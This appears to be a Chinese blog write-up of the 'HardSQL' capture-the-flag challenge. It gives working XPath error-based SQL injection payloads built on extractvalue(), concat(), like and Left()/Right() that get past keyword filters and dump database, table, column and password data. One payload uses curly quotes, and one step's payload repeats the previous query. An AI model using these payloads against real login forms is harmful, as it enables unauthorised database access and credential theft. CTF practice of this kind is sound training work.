zoukankan      html  css  js  c++  java
  • HardSQL

    打开网页,应该是这个sql注入的题

    开始注入

    使用万能密码试一下,回显了一句话,通过常规注入回显的都是这句话。其中union,select,order by等都被过滤了

    之后发现这道题要使用xpath报错注入,函数注入

    extractvalue()

    extractvalue(目标xml文档,xml路径) 是对XML文档进行查询的函数,函数的第二个参数是可以进行操作的地方,xml文件中查询使用的是/xx/xx/的格式,如果写成其他的格式,就会报错,并且会返回我们写入的非法格式内容,这个非法格式的内容就是我们想要查询的内容。

    这里我们利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出

    最后我们使用“ ^ ”符来连接这个函数

    ?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(database()))))%23
    

    爆数据库

    爆出数据库名geek,然后接着爆表

    爆表

    ?username=admin&password=admin‘^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=’geek‘))))%23
    

    结果回显这个页面,说明“=”也被过滤了,这里我们使用like来代替"=",得到表名

    爆列名

    ?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
    

    得三个列名,分别是“ID username password”,

    ?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
    

    爆数据

    接下来爆数据,得到flag,但是这里发现flag不全

    ?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(password))from(geek.H4rDsq1))))%23
    

    Left Right

    这里因为用extractvalue()函数,一次只能显示32个字符,我们需要用Left,right函数拼接

    先使用Left把左边30个字符爆出来

    ?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(Left(password,30))from(geek.H4rDsq1))))%23
    

    再使用Right把右边30个字符爆出来

    ?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(Right(password,30))from(geek.H4rDsq1))))%23
    

    连接flag即可

  • 相关阅读:
    【C#】Send data between applications
    【C#】Switch datatype between object and byte[]
    【C#】Get the html code of a webpage
    MSIL Hello World
    MonoGame 3.2 下,截屏与 Texture2D 的保存
    mciSendString 的两个小坑
    virtual 修饰符与继承对析构函数的影响(C++)
    让 OpenAL 也支持 S16 Planar(辅以 FFmpeg)
    博客园第一篇——SDL2+FFmpeg 制作简单播放器&同步
    第五次UML作业——结对作业二:班级成绩表
  • 原文地址:https://www.cnblogs.com/love0017/p/15553059.html
Copyright © 2011-2022 走看看